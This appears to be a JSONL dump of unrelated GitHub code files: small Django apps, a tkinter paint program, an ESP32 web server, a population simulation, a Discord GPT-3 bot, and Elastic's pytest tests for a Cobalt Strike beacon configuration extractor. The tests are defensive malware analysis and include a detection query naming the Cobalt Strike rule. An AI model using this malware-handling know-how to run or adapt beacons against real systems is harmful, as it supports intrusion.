= int(input(\"Digite o número de b: \"))\n c = int(input(\"Digite o número de c: \"))\n imprime_raizes(a, b, c)\n\ndef delta (a, b, c):\n return b ** 2 - 4 * a * c\n\ndef imprime_raizes (a, b, c):\n d = delta (a, b, c)\n if d == 0:\n raiz = (- b + math.sqrt(b ** 2 - 4 *a * c ))/ (2 * a)\n print (\"A única raíz é \", raiz)\n else:\n if d < 0:\n print (\"Esta equação não possui raízes reais\")\n else:\n raiz1 = (- b + math.sqrt(b ** 2 - 4 *a * c ))/ (2 * a)\n raiz2 = (- b - math.sqrt(b ** 2 - 4 *a * c ))/ (2 * a)\n print (\"A primeira raíz é \", raiz1)\n print (\"A segunda raíz é \", raiz2)\n","repo_name":"Jeniffersc/Curso-Introducao-a-Ciencia-da-Computacao-com-Python-Parte-1","sub_path":"Programas da 6a week/Baskara (divida em três funções).py","file_name":"Baskara (divida em três funções).py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32377577702","text":"from django.conf.urls import url\nfrom django.conf.urls.static import static\nfrom .views import*\nfrom django.conf import settings\nfrom django.urls import path\n\n\n\n\nurlpatterns = [\nurl(r'^$',index,name='index'),\nurl(r'^display_equipments$', display_equipments, name=\"display_equipments\"),\nurl(r'^display_jobs', display_jobs, name=\"display_jobs\"),\n\nurl(r'^display_jobs_json/$', display_jobs_json, name=\"display_jobs_json\"),\nurl(r'^add_equipment$', add_equipment, name=\"add_equipment\"),\nurl(r'^view_equipment/(?P\\d+)/$', view_equipment, name='view_equipment'),\nurl(r'^edit_equipment/(?P\\d+)/$', edit_equipment, name='edit_equipment'),\n\nurl(r'^add_jobs$', add_jobs, name='add_jobs'),\nurl(r'^edit_job/(?P\\d+)/$', edit_job, name='edit_job'),\nurl(r'^view_job/(?P\\d+)/$', view_job, name='view_job'),\n\n\nurl(r'^department_view$', department_view, name=\"department_view\"),\nurl(r'^department_dashboard/(?P\\d+)/$', department_dashboard, name=\"department_dashboard\"),\n\n\nurl(r'^add_manufacturer$', add_manufacturer, name='add_manufacturer'),\nurl(r'^view_manufacturers$', view_manufacturers, name=\"view_manufacturers\"),\nurl(r'^edit_manufacturer/(?P\\d+)/$', edit_manufacturer, name='edit_manufacturer'),\n#url(r'^JobListView$',JobsListView.as_view()),\n\nurl(r'^add_model$', add_model, name='add_model'),\n\nurl(r'^manufacturer-autocomplete/$',ManufacturerAutocomplete.as_view(), name='manufacturer-autocomplete',),\nurl(r'^equipment-autocomplete/$',EquipmentAutocomplete.as_view(), name='equipment-autocomplete',),\nurl(r'^department-autocomplete/$',DepartmentAutocomplete.as_view(), name='department-autocomplete',),\n]\n\nurlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n\n","repo_name":"msaif01/msaif01","sub_path":"mems/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6758448194","text":"import picoweb\nfrom machine import Pin, PWM\nimport time\n\nred = Pin(22, Pin.OUT)\nblue = Pin(23, Pin.OUT)\ngreen = Pin(21, Pin.OUT)\n\ndef host_server(event=None, callback=None):\n app = picoweb.WebApp(__name__)\n content = []\n\n @app.route(\"/liga\")\n def index(req, resp):\n yield from picoweb.start_response(resp)\n if req.method == \"POST\":\n blue.on()\n red.on()\n green.off()\n \n yield from app.render_template(resp, \"index.tpl\", (req,))\n\n @app.route(\"/desliga\")\n def index(req, resp):\n yield from picoweb.start_response(resp)\n if req.method == \"POST\":\n blue.off()\n red.on()\n green.on()\n \n yield from app.render_template(resp, \"index.tpl\", (req,))\n\n @app.route(\"/\")\n def index(req, resp):\n yield from picoweb.start_response(resp)\n yield from app.render_template(resp, \"index.tpl\", (req,))\n\n import logging as logging\n logging.basicConfig(level=logging.INFO)\n\n app.run(debug=True, host='0.0.0.0')\n","repo_name":"OtavioMelo12/capacitacao_esp32","sub_path":"scripts/web_server.py","file_name":"web_server.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37133686092","text":"import random\nfrom funktionen import Funktionen\nimport krankheiten\n\nclass Person:\n def __init__(self, vorname, nachname, geschlecht=None, mutter=None, vater=None):\n self.aktiv = True\n self.vorname = vorname\n self.nachname = nachname\n self.alterDD = 0 # 0-3 baby; 4-9 kind; 10-18 teen [geburtsfaehig w13-45/m13-57];\n self.alterMM = 0 # 19-30 junger erwachsener; 31-50 erwachsen; 51- tod senior\n self.alterYY = 0\n self.geburtstag = 0\n self.geburtsmonat = 0\n self.geschlecht = geschlecht\n self.sterbewahrscheinlichkeit = 1\n self.vergeben = False\n self.partner = None\n self.mutter = mutter\n self.vater = vater\n self.impotent = False\n self.kinder = [] # [\"1\": \"AA\", \"2\": \"AX\"]\n self.ruhm = 0 # TODO: +/- verschiedene werte (rauchen zb -1, job +2 o.ae.)\n #self.moeglichekrankheiten = [krebs(), hiv()]\n self.krankheiten = [] # krebs, aids u.ä.\n self.job = None\n self.fuehrerschein = False\n self.raucher = False\n self.rauchcountr = 0\n self.raucherSeit = 0 # Jahre des rauchens : Pro Jahr 0.1% sterbechance hinzu\n self.gestorbenDD = 0\n self.gestorbenMM = 0\n self.gestorbenYY = 0\n\n # ============== [ GETTER / SETTER ] ==============\n\n @property\n def aktiv(self):\n return self.__aktiv\n\n @aktiv.setter\n def aktiv(self, aktiv):\n self.__aktiv = aktiv\n\n @property\n def geburtstag(self):\n return self.__geburtstag\n\n @geburtstag.setter\n def geburtstag(self, geburtstag):\n self.__geburtstag = geburtstag\n\n @property\n def geburtsmonat(self):\n return self.__geburtsmonat\n\n @geburtsmonat.setter\n def geburtsmonat(self, geburtsmonat):\n self.__geburtsmonat = geburtsmonat\n\n @property\n def vorname(self):\n return self.__vorname\n\n @vorname.setter\n def vorname(self, vorname):\n self.__vorname = vorname\n\n @property\n def nachname(self):\n return self.__nachname\n\n @nachname.setter\n def nachname(self, nachname):\n self.__nachname = nachname\n\n @property\n def job(self):\n return self.__job\n\n @job.setter\n def job(self, job):\n self.__job = job\n\n @property\n def vergeben(self):\n return self.__vergeben\n\n @vergeben.setter\n def vergeben(self, vergeben):\n self.__vergeben = vergeben\n\n @property\n def partner(self):\n return self.__partner\n\n @partner.setter\n def partner(self, partner):\n self.__partner = partner\n\n @property\n def alterDD(self):\n return self.__alterDD\n\n @alterDD.setter\n def alterDD(self, alterDD):\n self.__alterDD = alterDD\n\n @property\n def alterMM(self):\n return self.__alterMM\n\n @alterMM.setter\n def alterMM(self, alterMM):\n self.__alterMM = alterMM\n\n @property\n def ruhm(self):\n return self.__ruhm\n\n @ruhm.setter\n def ruhm(self, ruhm):\n self.__ruhm = ruhm\n\n @property\n def fuehrerschein(self):\n return self.__fuehrerschein\n\n @fuehrerschein.setter\n def fuehrerschein(self, fuehrerschein):\n self.__fuehrerschein = fuehrerschein\n\n @property\n def alterYY(self):\n return self.__alterYY\n\n @alterYY.setter\n def alterYY(self, alterYY):\n self.__alterYY = alterYY\n\n @property\n def geschlecht(self):\n return self.__geschlecht\n\n @geschlecht.setter\n def geschlecht(self, geschlecht):\n self.__geschlecht = geschlecht\n\n @property\n def sterbewahrscheinlichkeit(self):\n return self.__sterbewahrscheinlichkeit\n\n @sterbewahrscheinlichkeit.setter\n def sterbewahrscheinlichkeit(self, sterbewahrscheinlichkeit):\n self.__sterbewahrscheinlichkeit = sterbewahrscheinlichkeit\n\n @property\n def impotent(self):\n return self.__impotent\n\n @impotent.setter\n def impotent(self, impotent):\n self.__impotent = impotent\n\n @property\n def gestorbenDD(self):\n return self.__gestorbenDD\n\n @gestorbenDD.setter\n def gestorbenDD(self, gestorbenDD):\n self.__gestorbenDD = gestorbenDD\n\n @property\n def gestorbenMM(self):\n return self.__gestorbenMM\n\n @gestorbenMM.setter\n def gestorbenMM(self, gestorbenMM):\n self.__gestorbenMM = gestorbenMM\n\n @property\n def gestorbenYY(self):\n return self.__gestorbenYY\n\n @gestorbenYY.setter\n def gestorbenYY(self, gestorbenYY):\n self.__gestorbenYY = gestorbenYY\n\n @property\n def raucher(self):\n return self.__raucher\n\n @raucher.setter\n def raucher(self, raucher):\n self.__raucher = raucher\n\n @property\n def rauchcountr(self):\n return self.__rauchcountr\n\n @rauchcountr.setter\n def rauchcountr(self, rauchcountr):\n self.__rauchcountr = rauchcountr\n\n @property\n def raucherSeit(self):\n return self.__raucherSeit\n\n @raucherSeit.setter\n def raucherSeit(self, raucherSeit):\n self.__raucherSeit = raucherSeit\n\n # ============== [ FUNKTIONEN ] ==============\n\n '''def person_updater(self):\n if self.geschlecht == 'W':'''\n\n def sterben1(self):\n '''1 + 3\n 1 + 6\n 1 + 2\n ...'''\n print(\"einfuegen\")\n for v in self.krankheiten:\n if random.random()*100 < (self.sterbewahrscheinlichkeit + v.toedlichkeit):\n print(f'tot durch {v.name}')\n\n def sterben2(self):\n '''\n 1\n 3\n 6\n 2\n ...\n '''\n x = random.random()*100\n if x < self.sterbewahrscheinlichkeit:\n print('tot weil herz versagte...')\n else:\n for v in self.krankheiten:\n if random.random()*100 < v.toedlichkeit:\n print(f'tot durch {v.name}')\n\n def sterben3(self):\n '''\n 1+3+6+2...\n '''\n su = self.sterbewahrscheinlichkeit\n for v in self.krankheiten:\n su += v.toedlichkeit\n if random.random()*100 < su:\n print('tot :(')\n\n def impotenz(self):\n if 13 < self.alterYY < 80:\n if 13 <= self.alterYY <= 25:\n wahrscheinlichkeit = 5\n if random.randint(1, 100) <= wahrscheinlichkeit:\n self.impotent = True\n elif 26 <= self.alterYY <= 35:\n wahrscheinlichkeit = 10\n if random.randint(1, 100) <= wahrscheinlichkeit:\n self.impotent = True\n elif 36 <= self.alterYY <= 55:\n wahrscheinlichkeit = 25\n if random.randint(1, 100) <= wahrscheinlichkeit:\n self.impotent = True\n elif self.alterYY >= 56:\n wahrscheinlichkeit = 50\n if random.randint(1, 100) <= wahrscheinlichkeit:\n self.impotent = True\n else:\n self.impotent = False\n else:\n self.impotent = True\n\n def altern(self, schritte):\n self.alterDD += schritte\n if self.alterDD >= 31:\n self.alterDD -= 30\n if self.alterDD <= 30:\n self.alterMM += 1\n if self.alterMM >= 13:\n self.alterMM -= 12\n self.alterYY += 1\n\n def sterben(self): # TODO: Mehr Faktoren (Krebs zb) einfuegen. > zb 0.1 * (Krebschance + weiteres)\n if self.alterYY <= 18:\n self.sterbewahrscheinlichkeit = 0.025\n elif 19 <= self.alterYY <= 34:\n self.sterbewahrscheinlichkeit = 0.1\n elif 35 <= self.alterYY <= 50:\n self.sterbewahrscheinlichkeit = 0.25\n elif 51 <= self.alterYY <= 60:\n self.sterbewahrscheinlichkeit = 0.5\n elif 61 <= self.alterYY <= 80:\n self.sterbewahrscheinlichkeit = 1\n elif 81 <= self.alterYY <= 100:\n self.sterbewahrscheinlichkeit = 2.5\n elif self.alterYY >= 101:\n self.sterbewahrscheinlichkeit = 100\n if random.random() * 100 <= self.sterbewahrscheinlichkeit:\n self.aktiv = False\n return True\n for k in self.krankheiten:\n v = random.random()*100\n if v <= k.toedlichkeit:\n print(f'gestorben an {k.name}')\n self.aktiv = False\n return True\n else:\n return False\n\n def partnersuche(self):\n if 14 <= self.alterYY <= 70 and not self.vergeben:\n wahrscheinlichkeit = 50\n if random.randint(1, 100) <= wahrscheinlichkeit:\n return True\n else:\n return False\n\n def raucher_check(self, schritte):\n if not self.raucher:\n if self.alterYY >= 15:\n if self.geschlecht == 'M':\n zug = 27\n else:\n zug = 20.8\n if random.random()*100 < zug:\n self.raucher = True\n else:\n self.rauchcountr += schritte\n if self.rauchcountr >= 360:\n self.rauchcountr -= 360\n self.raucherSeit += 1\n self.sterbewahrscheinlichkeit += 0.1\n\n def krank_check(self, kalender): # Kalender fuer Saisonkrankheiten (grippe oder so)\n verzeichnis = [krankheiten.Hiv(), krankheiten.Tumor(), krankheiten.Grippe()]\n for k in verzeichnis:\n k.updater(self)\n losDesTages = random.random()*100\n if losDesTages <= k.infektChance:\n vorhanden = False\n for x in self.krankheiten:\n if x.name == k.name:\n vorhanden = True\n if not vorhanden:\n self.krankheiten.append(k)\n for aasf in self.krankheiten:\n print(aasf.name)\n if self.krankheiten:\n for k in self.krankheiten:\n if k.name == 'Grippe':\n k.dauer -= 1\n if k.dauer == 0:\n print('ueberstandene grippe')\n self.krankheiten.remove(k)\n\n\nclass Mann(Person):\n def __init__(self, vorname, nachname, geschlecht=\"M\"):\n super().__init__(vorname, nachname, geschlecht)\n self.potent = False\n\n @property\n def geschlecht(self):\n return self.__geschlecht\n\n @geschlecht.setter\n def geschlecht(self, geschlecht):\n self.__geschlecht = geschlecht\n\n @property\n def potent(self):\n return self.__potent\n\n @potent.setter\n def potent(self, potent):\n self.__potent = potent\n\n def vater_werden(self): # Wahrscheinlichkeit Vater zu werden.\n if not self.impotent:\n if 13 <= self.alterYY <= 20:\n wahrscheinlichkeit = 9\n elif 21 <= self.alterYY <= 28:\n wahrscheinlichkeit = 30\n elif 29 <= self.alterYY <= 39:\n wahrscheinlichkeit = 78\n elif 40 <= self.alterYY <= 46:\n wahrscheinlichkeit = 18\n else:\n wahrscheinlichkeit = 0\n chose = random.randint(1, 100)\n if chose <= wahrscheinlichkeit:\n return True\n else:\n return False\n\n\nclass Frau(Person):\n def __init__(self, vorname, nachname, geschlecht=\"W\"):\n super().__init__(vorname, nachname, geschlecht)\n self.schwanger = False\n self.kindercounter = 0\n self.geburtsterminDD = 0\n self.geburtsterminMM = 0\n self.geburtsterminYY = 0\n self.vaterdeskindes = None\n\n @property\n def geschlecht(self):\n return self.__geschlecht\n\n @geschlecht.setter\n def geschlecht(self, geschlecht):\n self.__geschlecht = geschlecht\n\n @property\n def schwanger(self):\n return self.__schwanger\n\n @schwanger.setter\n def schwanger(self, schwanger):\n self.__schwanger = schwanger\n\n @property\n def geburtsterminDD(self):\n return self.__geburtsterminDD\n\n @geburtsterminDD.setter\n def geburtsterminDD(self, geburtsterminDD):\n self.__geburtsterminDD = geburtsterminDD\n\n @property\n def geburtsterminMM(self):\n return self.__geburtsterminMM\n\n @geburtsterminMM.setter\n def geburtsterminMM(self, geburtsterminMM):\n self.__geburtsterminMM = geburtsterminMM\n\n @property\n def geburtsterminYY(self):\n return self.__geburtsterminYY\n\n @geburtsterminYY.setter\n def geburtsterminYY(self, geburtsterminYY):\n self.__geburtsterminYY = geburtsterminYY\n\n def schwangerschaft(self):\n if self.vergeben and not self.impotent and self.kindercounter < 6:\n if 13 <= self.alterYY <= 20:\n wahrscheinlichkeit = (1 / (self.kindercounter + 1))\n elif 21 <= self.alterYY <= 28:\n wahrscheinlichkeit = (3 / (self.kindercounter + 1))\n elif 29 <= self.alterYY <= 39:\n wahrscheinlichkeit = (2 / (self.kindercounter + 1))\n elif 40 <= self.alterYY <= 46:\n wahrscheinlichkeit = (1 / (self.kindercounter + 1))\n else:\n wahrscheinlichkeit = 0\n chose = random.randint(1, 100)\n if chose <= wahrscheinlichkeit:\n self.schwanger = True\n self.vaterdeskindes = self.partner\n self.kindercounter += 1\n self.geburtsterminDD = self.alterDD\n x = self.alterMM\n self.geburtsterminMM = x + 9\n if self.geburtsterminMM >= 13:\n self.geburtsterminMM -= 12\n y = self.alterYY\n self.geburtsterminYY = y + 1\n else:\n self.geburtsterminYY = self.alterYY\n else:\n self.schwanger = False\n\n def geburt(self, personenverzeichnis, vorname, geschlecht):\n if geschlecht == 'M':\n x = Mann(vorname, self.nachname)\n x.geburtstag = self.geburtsterminDD\n x.geburtsmonat = self.geburtsterminMM\n personenverzeichnis.append(x)\n else:\n x = Frau(vorname, self.nachname)\n x.geburtstag = self.geburtsterminDD\n x.geburtsmonat = self.geburtsterminMM\n personenverzeichnis.append(x)\n x.mutter = self.vorname\n x.vater = self.partner\n self.schwanger = False\n print(f\"{self.vorname} {self.nachname} hat die {self.kindercounter}. Geburt.\\n\")\n","repo_name":"Fightingsnake/Zivilisationszenario","sub_path":"person.py","file_name":"person.py","file_ext":"py","file_size_in_byte":14505,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"9831019997","text":"# Django\nfrom django.db import models\nfrom django.core.validators import RegexValidator\nfrom django.utils.translation import gettext_lazy as _\n\n# Python Base\nimport uuid\n\n# Internos\n\n\nclass Paciente(models.Model):\n \"\"\"\n Modelo que representa los pacientes de la aplicacion\n \"\"\"\n\n phone_regex = RegexValidator(\n regex='^\\d{9,12}$',\n message=_('Phone number must be entered in the format: 5512345678. Up to 12 digits allowed.')\n )\n\n GENDER_CHOICES = (\n ('F', 'Female'),\n ('M', 'Male'),\n )\n\n id = models.UUIDField(primary_key=True,\n default=uuid.uuid4,\n editable=False,\n unique=True,\n )\n\n name = models.CharField(verbose_name=\"Nombre\",\n max_length=35,\n unique=False,\n blank=False)\n\n last_name = models.CharField(verbose_name=\"Apellido\",\n max_length=35,\n unique=False,\n blank=False)\n\n mother_name = models.CharField(verbose_name=\"Apellido Materno\",\n max_length=35,\n unique=False,\n blank=False,\n null=True)\n\n father_name = models.CharField(verbose_name=\"Nombre del Padre\",\n max_length=35,\n unique=False,\n blank=False,\n null=True)\n\n phone = models.CharField(max_length=12,\n unique=True,\n validators=[phone_regex, ],\n verbose_name=\"Numero de Telefono\")\n\n email = models.EmailField(blank=True,\n null=True)\n\n birthdate = models.DateField(blank=True,\n null=True,\n verbose_name=_(\"Fecha de nacimiento\"))\n\n creation_date = models.DateTimeField(auto_now_add=True,\n verbose_name=\"Fecha de Creacion\",\n editable=False)\n\n active = models.BooleanField(default=True,\n verbose_name=\"Activo\")\n\n gender = models.CharField(max_length=1,\n choices=GENDER_CHOICES,\n default='F',\n verbose_name=\"Genero\")\n\n def __str__(self):\n return self.full_name()\n\n def full_name(self):\n return self.name + \" \" + self.last_name + \" \" + self.mother_name\n\n @property\n def get_full_name(self):\n return self.full_name()\n\n","repo_name":"vherver/YemaTest","sub_path":"pacientes/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26334912340","text":"import os\nimport sys\nsys.path.append(os.path.join(os.path.dirname(__file__), '../../../tools'))\n\nimport files\n\n\n'''\n submitted code:\n\n def two_arrays(N, K, A, B):\n A.sort()\n B.sort(reverse = True)\n\n for i in range(N):\n if A[i] + B[i] < K:\n return 'NO'\n\n return 'YES'\n\n\n def main():\n T = int(input())\n\n for _ in range(T):\n N, K = [int(i) for i in input().split()]\n A = [int(i) for i in input().split()]\n B = [int(i) for i in input().split()]\n\n print(two_arrays(N, K, A, B))\n\n\n if __name__ == \"__main__\":\n main()\n\n'''\n\ndef two_arrays(N, K, A, B):\n A.sort()\n B.sort(reverse = True)\n\n for i in range(N):\n if A[i] + B[i] < K:\n return 'NO'\n\n return 'YES'\n\n\ndef main(argv):\n lines = files.read_lines_of_ints(argv[0])\n T = lines[0][0]\n\n for i in range(T):\n N, K = lines[(3 * i) + 1]\n A = lines[(3 * i) + 2]\n B = lines[(3 * i) + 3]\n\n print(two_arrays(N, K, A, B))\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","repo_name":"cowboysmall-comp/hackerrank","sub_path":"src/algorithms/greedy/two_arrays.py","file_name":"two_arrays.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30968181718","text":"import tkinter\n\n# TOOLS\nDRAW, ERASE = list(range(2))\ncolor = (0, 0, 0)\nxold, yold = None, None\n\nclass Paint:\n def __init__(self, canvas):\n self.canvas = canvas\n self.tool, self.obj = None, None\n self.lastx, self.lasty = None, None\n self.canvas.bind('', self.update_xy)\n self.canvas.bind('', self.reset)\n self.canvas.bind('', self.draw)\n\n def draw(self, event):\n if self.tool is None or self.obj is None:\n return\n\n x, y = self.lastx, self.lasty\n if self.tool in (DRAW, ERASE):\n self.canvas.coords(self.obj, (x, y, event.x, event.y))\n\n def update_xy(self, event):\n global erasing #why is this necessary lol\n if self.tool is None:\n return\n x, y = event.x, event.y\n\n if self.tool == DRAW:\n erasing = 0\n self.obj = None\n canvas.unbind('')\n canvas.bind('', self.draw_point)\n\n elif self.tool == ERASE:\n erasing = 1\n self.obj = None\n canvas.unbind('')\n canvas.bind('', self.draw_point)\n\n self.lastx, self.lasty = x, y\n\n def draw_point(self, event):\n global xold, yold\n x = event.x\n y = event.y\n if erasing == 1:\n canvas.create_rectangle((x, y, x+4, y+4), fill = 'white', outline = 'white')\n\n elif erasing == 0:\n if xold is not None and yold is not None:\n canvas.create_line(xold, yold, x, y)\n xold = x\n yold = y\n def reset(self, event):\n global xold, yold\n xold, yold = None, None\n\n def selecttool(self, tool):\n if tool == 0:\n print(\"Free draw tool selected\")\n elif tool == 1:\n print(\"Erase tool selected\")\n self.tool = tool\n\nclass Tool:\n def __init__(self, whiteboard, parent=None):\n self.whiteboard = whiteboard\n\n frame = tkinter.Frame(parent)\n self.currtool = None\n\n for i, (text, t) in enumerate((('D', DRAW), ('E', ERASE))):\n lbl = tkinter.Label(frame, text=text, width=2, relief='raised')\n lbl.tool = t\n lbl.bind('', self.updatetool)\n lbl.pack(padx=6, pady=6*(i % 2))\n\n frame.pack(side='left', fill='y', expand=True, pady=6)\n\n def updatetool(self, event):\n lbl = event.widget\n\n if self.currtool:\n self.currtool['relief'] = 'raised'\n\n lbl['relief'] = 'sunken'\n self.currtool = lbl\n self.whiteboard.selecttool(lbl.tool)\n\n\nroot = tkinter.Tk()\nroot.wm_title(\"Paint\")\ncanvas = tkinter.Canvas(highlightbackground='black')\ncanvas.configure(background = 'white', width = 640, height = 480)\nwhiteboard = Paint(canvas)\ntool = Tool(whiteboard)\ncanvas.pack(fill='both', expand=True, padx=6, pady=6)\n\nroot.mainloop()","repo_name":"bdavies01/paint-program","sub_path":"template.py","file_name":"template.py","file_ext":"py","file_size_in_byte":2919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26823873572","text":"\"\"\"\nTests for the cobaltstrike malduck module\n\"\"\"\nimport base64\nimport importlib.resources\nimport json\nimport logging\nimport pathlib\nimport zlib\nfrom typing import Any, Dict, Iterable\n\nimport pytest\nfrom elasticsearch import Elasticsearch\nfrom malduck import procmem, procmempe\nfrom malduck.extractor import ExtractManager, ExtractorModules\nfrom scalpl import Cut\n\nfrom elastic.malware_config_extractor.modules.utils import Config\n\nlogger = logging.getLogger(__name__)\n\n\nMODULE_NAME: str = \"elastic.malware_config_extractor.modules.cobalt_strike\"\n\n# Extractor modules wants the directory of modules. It might be possible (and better)\n# to isolate the cobalt_strike module without loading the whole dir\nwith importlib.resources.path(MODULE_NAME, \"cobalt_strike.yar\") as f:\n MODULE_PATH: str = str(f.parent.parent)\n\n\ndef test_from_bin_file(datadir: pathlib.Path):\n \"\"\"unit test for the module\"\"\"\n extractor_modules = ExtractorModules(modules_path=MODULE_PATH)\n assert \"CobaltStrike\" in [extractor.__name__ for extractor in extractor_modules.extractors]\n\n extract_manager = ExtractManager(extractor_modules) # handles multiple modules\n\n with procmem.from_file(str(datadir / \"beacon-sample.bin\")) as _pmem:\n extract_manager.push_procmem(_pmem, True)\n\n result: list[Config] = []\n if extract_manager.config:\n result = extract_manager.config\n\n assert len(result) == 1\n assert result[0].get(\"family\", None) == \"cobalt_strike\"\n assert \"cobalt_strike\" in result[0]\n assert isinstance(result[0][\"cobalt_strike\"], dict)\n\n\ndef test_from_telemetry_file(datadir: pathlib.Path):\n \"\"\"Uses a json of the telemetry query response, rather than querying elasticsearch each time\"\"\"\n with open(datadir / \"cobalt_strike_telemetry_result.json\", \"r\", encoding=\"utf-8\") as _f:\n raw = _f.read()\n\n result = Cut(json.loads(raw))\n cobalt_strike_bytes = result[\"hits.hits[0]._source.process.Ext.memory_region.bytes_compressed\"]\n payload = zlib.decompress(base64.b64decode(cobalt_strike_bytes))\n addr = result[\"hits.hits[0]._source.process.Ext.memory_region.bytes_address\"]\n\n extractor_modules = ExtractorModules(modules_path=MODULE_PATH)\n with procmempe(payload, base=addr) as _p:\n result = _p.extract(extractor_modules)\n\n assert len(result) == 1\n assert result[0].get(\"family\", None) == \"cobalt_strike\"\n assert \"cobalt_strike\" in result[0]\n assert isinstance(result[0][\"cobalt_strike\"], dict)\n\n\n@pytest.fixture\ndef search_response(datadir: pathlib.Path) -> Iterable:\n \"\"\"Generates a fake response from the specified JSON file\"\"\"\n with open(datadir / \"test-search-response-cobaltstrike.json\", \"rt\", encoding=\"utf-8\") as _f:\n _response: str = _f.read()\n yield _response\n\n\ndef test_from_search_data(es_client: Elasticsearch):\n \"\"\"\n integration test, pulls 3 known cobalt strike samples from a mock Elasticsearch\n client\n \"\"\"\n\n # This query is gen\n query = {\n \"size\": 3,\n \"query\": {\n \"bool\": {\n \"should\": [\n {\"match\": {\"event.category\": \"malware\"}},\n {\"match\": {\"event.category\": \"intrusion_detection\"}},\n ],\n \"must\": [\n {\"match\": {\"process.Ext.memory_region.bytes_compressed_present\": \"true\"}},\n {\"match\": {\"rule.name\": \"Windows.Trojan.CobaltStrike\"}},\n ],\n \"minimum_should_match\": 1,\n },\n },\n }\n\n # This is a mock object with a predetermined response of 3 hits.\n result = Cut(es_client.search(body=query, index=\"logs-alert-*\"))\n\n print(f\"Number of hits: {len(result['hits']['hits'])}\")\n cobalt_strike_bytes = result[\"hits.hits[0]._source.process.Ext.memory_region.bytes_compressed\"]\n payload = zlib.decompress(base64.b64decode(cobalt_strike_bytes))\n addr = result[\"hits\"][\"hits\"][0][\"_source\"][\"process\"][\"Ext\"][\"memory_region\"][\"bytes_address\"]\n\n extractor_modules = ExtractorModules(modules_path=MODULE_PATH)\n\n results: list[Dict[str, Any]] = []\n # The current items currently has one payload that is detected as a PE\n # and 2 that are not. The rule relies on procmempe, and the memory captures\n # matches this behavior\n for item in result[\"hits.hits\"]:\n extract_manager = ExtractManager(extractor_modules)\n item = Cut(item)\n compressed_bytes = item[\"_source.process.Ext.memory_region.bytes_compressed\"]\n payload = zlib.decompress(base64.b64decode(compressed_bytes))\n addr = item[\"_source.process.Ext.memory_region.bytes_address\"]\n\n with procmem(payload, addr) as _p:\n extract_manager.push_procmem(_p, rip_binaries=True)\n\n if extract_manager.config:\n results.append(extract_manager.config[0])\n\n # Might be a better way, for now, create a clean extract_manager per sample\n del extract_manager\n\n assert len(results) == 1\n assert results[0].get(\"family\", None) == \"cobalt_strike\"\n assert \"cobalt_strike\" in results[0]\n assert isinstance(results[0][\"cobalt_strike\"], dict)\n\n\n@pytest.mark.skip(reason=\"no way of currently testing this\")\ndef test_integration_docker_search():\n \"\"\"\n Looking to make this an optional test where a local Elasticsearch container is setup with sample\n logs that could provide a more robust test suite.\n \"\"\"\n","repo_name":"elastic/malware-exquacker","sub_path":"tests/test_cobalt_strike.py","file_name":"test_cobalt_strike.py","file_ext":"py","file_size_in_byte":5379,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"3"} +{"seq_id":"39341239813","text":"from discord.ext import commands, bridge\nfrom asyncio import AbstractEventLoop\nimport concurrent.futures\nimport functools\nimport discord\nimport openai\n\nfrom utility.common import decorators, config, command\n\nfrom utility.cog.command import command_cog\n\n\nclass gpt3(commands.Cog, command_cog):\n \"\"\"\n An ai chatbot that can respond to different questions and tasks\n \"\"\"\n def __init__(self, bot: commands.Bot, tokens: dict[str, str]):\n super().__init__(bot=bot, tokens=tokens)\n self.description = 'Outputs a response from a chat bot ai from the specified prompt'\n openai.api_key = self.tokens['openai']\n \n \n #@decorators.Sync.logging.log\n def create_text(self, prompt):\n response = openai.Completion.create(\n engine='text-davinci-003',\n prompt=prompt + ':',\n temperature=0.5,\n max_tokens=256,\n top_p=1.0,\n frequency_penalty=0.0,\n presence_penalty=0.0\n )\n text: str = response['choices'][0]['text']\n text = text.replace('\\n\\n', '\\n')\n return text\n\n @bridge.bridge_command(aliases=['ai'])\n # @bridge.is_nsfw()\n @commands.cooldown(1, 10, commands.BucketType.guild)\n @decorators.Async.typing\n @decorators.Async.defer\n async def gpt3(\n self,\n ctx: bridge.BridgeExtContext | bridge.BridgeApplicationContext,\n *,\n prompt: bridge.core.BridgeOption(\n str,\n 'The message to be sent to the ai'\n ) = 'make up a 4chan greentext post'\n ) -> None:\n embed = discord.Embed(color=config.embed.color, fields=[], title=prompt[:256])\n bot = ctx.bot\n loop: AbstractEventLoop = bot.loop\n with concurrent.futures.ThreadPoolExecutor() as pool:\n text = await loop.run_in_executor(pool, functools.partial(self.create_text, prompt=prompt))\n embed.description = f'```{text[:4090]}```'\n await command.respond(ctx, embed=embed)\n","repo_name":"Salabombou/koodaamos-amazing-discord-bot","sub_path":"cogs/fun/gpt3.py","file_name":"gpt3.py","file_ext":"py","file_size_in_byte":1989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"31412868311","text":"from django.shortcuts import render\nfrom django.shortcuts import redirect\nfrom django.shortcuts import render_to_response\nfrom django import forms\nfrom models import *\nfrom django.utils import timezone\nfrom django.http import HttpResponse\nfrom django.template import RequestContext\nfrom constants import *\nfrom django.db.models.signals import post_delete\nfrom django.dispatch.dispatcher import receiver\nimport zipfile\nimport StringIO\nfrom django.forms import widgets\nimport shutil\n\n# Landing page to let user login or create new account\ndef login(request):\n try:\n userexists = request.session['userexists']\n except:\n userexists = 'notsubmitted'\n return render(request, LOGINPAGETEMPLATE, {'userexists':userexists})\n \n# Creates a new user if the user does 